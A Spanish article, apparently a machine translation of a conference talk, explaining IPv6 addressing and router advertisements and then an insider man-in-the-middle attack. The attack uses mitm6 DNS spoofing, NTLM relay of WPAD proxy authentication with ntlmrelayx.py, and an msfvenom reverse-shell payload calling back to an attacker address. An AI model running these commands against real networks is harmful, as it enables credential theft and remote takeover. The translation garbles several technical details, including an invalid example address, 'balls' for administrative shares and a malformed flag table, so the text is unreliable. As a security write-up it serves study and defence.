IPv6 es una nueva versión del protocolo de Internet. Los miembros del IETF lo aceptaron hace solo 22 años, en 1996. Durante este tiempo, los ataques específicos de IPv6 lograron aparecer. El propósito de este artículo, basado en nuestra presentación en
PHDays 8, es mostrar las posibilidades de un ataque a redes corporativas por parte de un intruso interno que utiliza IPv4 e IPv6.

Conceptos básicos de direccionamiento IPv6
La longitud de la dirección IPv6 es de 128 bits, que se escriben en formato hexadecimal con la división de la dirección completa en 8 grupos. Un ejemplo de escritura de una dirección IPv6:
2001: 0a00: café: bebé: 0001: 0000: 0000: 0011/64
Hay un registro de dirección simplificado cuando varios grupos posteriores de ceros pueden reemplazarse con “::”, pero solo una vez. Los ceros escritos a la izquierda en cada grupo se pueden descartar. Entonces, la dirección anterior se puede escribir como:
2001: a00: café: bebé: 1 :: 11/64
El tamaño estándar de la parte del host emitida por el proveedor al cliente es de 64 bits, de los cuales 4 se utilizan para segmentar la red en subredes.

Hay varios tipos de direcciones en IPv6:
La unidifusión global es un análogo de direcciones públicas en IPv4. Estas direcciones son emitidas por
IANA y son únicas en Internet. Estas direcciones están en el rango 2000 :: / 3 (2000 - 3FFF).
Direcciones locales (Link-local) : las direcciones en el rango FE80 :: / 10 (FE80 - FEBF) son generadas automáticamente por los dispositivos y se utilizan para interactuar con otros dispositivos en la misma red local. El tráfico que contiene esta dirección como remitente o destinatario no se debe enrutar. Por lo tanto, un dispositivo que admite IPv6 y está conectado a la red puede intercambiar inmediatamente información dentro de su subred sin ninguna configuración.
Dirección de bucle invertido :: 1 . Esta dirección es similar a 127.0.0.1 en IPv4. Los paquetes que se le envían no salen del dispositivo.
Dirección no especificada : la dirección "::", que consta de solo ceros. Se usa en algunos casos como remitente hasta que se recibe la dirección.
Direcciones locales únicas (Local único) : un análogo de direcciones privadas en IPv4, puede enrutarse dentro de la red interna de la organización, sin la posibilidad de enrutamiento a Internet. El espacio de direcciones IPv6 es tan grande que se pueden emitir más de un billón de direcciones a cada persona en el planeta y no terminarán. Por lo tanto, IPv6 implica el abandono de direcciones privadas en el sentido en que se utilizaron en IPv4 debido a la falta de direcciones públicas.
Direcciones IPv4 asignadas a IPv6 (IPv4 incrustado) : direcciones IPv6 que comienzan con :: ffff: los últimos 32 bits contienen una dirección IPv4 (:: ffff: xxxx: xxxx, donde xxxx: xxxx es la dirección IPv4 convertida a hexadecimal). Estas direcciones se utilizan para dispositivos que no admiten IPv6 y proporcionan una forma de asignar un espacio de direcciones IPv4 a un espacio de direcciones IPv6.
Direcciones de multidifusión (Multicast) : uno de los cambios clave en IPv6 en comparación con IPv4. El nuevo protocolo rechazó los paquetes de difusión, en lugar de la dirección de difusión se utilizan las direcciones de multidifusión. Todas estas direcciones están en el rango FF00 :: / 8

Asignación de dirección IPv6
IPv6 usa el ICMPv6 Neighbour Discovery Protocol (ND) para obtener información de la dirección. Como se muestra en la figura siguiente, cuando aparece un nuevo dispositivo en la red IPv6, el dispositivo envía una solicitud para obtener una dirección IPv6 (Solicitud de enrutador) a "ff02 :: 2" (todos los enrutadores de red). El enrutador responde con un mensaje (Anuncio de enrutador) que contiene información sobre cómo obtener la dirección IPv6. Dependiendo de las banderas establecidas en el mensaje, hay tres formas:
La forma de obtener la dirección | Una bandera (automática) | O (Otro) bandera | Indicador M (administrado) |
---|
SLAAC (predeterminado) | 1 | 0 0 | 0 0 |
SLAAC + DHCPv6 | 1 | 1 | 0 0 |
DHCPv6 | 0 0 | - | 1 |
SLAAC (Autoconfiguración de direcciones sin estado): en este caso, todo lo necesario para generar una dirección IPv6 global está en el mensaje RA.
SLAAC + DHCPv6 : además de en el caso de SLAAC, la dirección se genera en función de la información en el paquete RA, pero el indicador O se establece adicionalmente, lo que significa Otra configuración, y el dispositivo debe comunicarse con el servidor DHCPv6 para obtener configuraciones adicionales, por ejemplo, el servidor DNS.
DHCPv6 es un análogo de la dirección DHCPv4 y el servidor DHCP emite toda otra información, con la excepción de la puerta de enlace predeterminada, que se toma de la dirección del remitente del paquete RA.
Cuando las banderas O y M se configuran al mismo tiempo, la bandera O se ignora.

Como ejemplo, tome la utilidad fake_router26 del conjunto de utilidades
thc-ipv6 . La imagen muestra que después de comenzar, se agregó la dirección IPv6 de la puerta de enlace predeterminada, que se convirtió en prioridad sobre IPv4.

Ataque
En este escenario, consideraremos la posibilidad de un ataque de hombre en el medio utilizando el mecanismo para obtener la configuración de red IPv6.
Para la demostración, necesitamos 4 autos:
La máquina atacante es Kali Linux.
La máquina del servidor en la que se encenderán las bolas de administración de Windows 7.
Una máquina cliente que tendrá acceso a un servidor Windows 7.

Un enrutador con DHCPv4 habilitado.
dirkjanm describió la
metodología para este escenario. Escribió la utilidad mitm6, que, utilizando el protocolo ND, envía mensajes de anuncio de enrutador con los indicadores "O" y "M" en "1". Por lo tanto, los clientes saben que es necesario solicitar información de dirección de un servidor DHCPv6. Los clientes comienzan a enviar mensajes SOLICITADOS DHCPv6 para descubrir el servidor DHCP. La utilidad responde a las solicitudes con mensajes de publicidad DHCPv6; la respuesta contiene la dirección de la máquina atacante como un servidor DNS.

Después de eso, debido a las características arquitectónicas del sistema operativo, el DNS DHCPv6 se convierte en una prioridad. Ahora el atacante puede responder a cualquier consulta DNS con la dirección correcta. Por lo tanto, la solicitud enviada por el nombre de dominio se enviará a discreción del atacante.
Al ejecutar mitm6, puede especificar el dominio para el que sustituir las direcciones DNS.


Bolas de administración
Para mejorar el efecto dramático, suponga que hay otra máquina en la red en la cual el usuario de la primera máquina puede conectarse a pelotas administrativas. Por defecto, están apagados, pero en Internet mucha gente está interesada en cómo encenderlos, y están muy contentos cuando lo obtienen.

WPAD (Web Proxy Auto Discovery) es un protocolo para determinar la ubicación del archivo en el que se encuentran las configuraciones de proxy predeterminadas.
Después de actualizar
MS16-077, wpad ya no se administra a través de NETBIOS y no se autentica automáticamente en el servidor proxy.
Para evitar estas restricciones, puede usar ntlmrelayx.py, que es parte de
impacket . Se requiere una versión superior a 0.9.16, que incluye soporte para IPv6 y la capacidad de instalar un servidor que represente un wpad válido. El lanzamiento lo realiza el equipo.
ntlmrelayx.py -6 -wh at.localdomain -t smb://192.168.56.7 -e 1.exe
donde 1.exe es la carga útil de shell inverso generada por el metasplit.
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.56.6 LPORT=444 -f exe -o 1.exe
el parámetro -wh indica el host donde se encuentra el archivo wpad (la utilidad mitm6 responderá con la dirección del atacante a esta solicitud)


Después de conectarse, se solicitará la autenticación HTTP 407 (se requiere autenticación de proxy), en la cual el navegador se autentica automáticamente.


Los datos recibidos se utilizarán para conectarse al smb del servidor atacado, pasados a través del parámetro -t.

Agradezco a mi coautor Sergey Ovchinnikov
malchikserega por su ayuda en la preparación de la presentación y el artículo.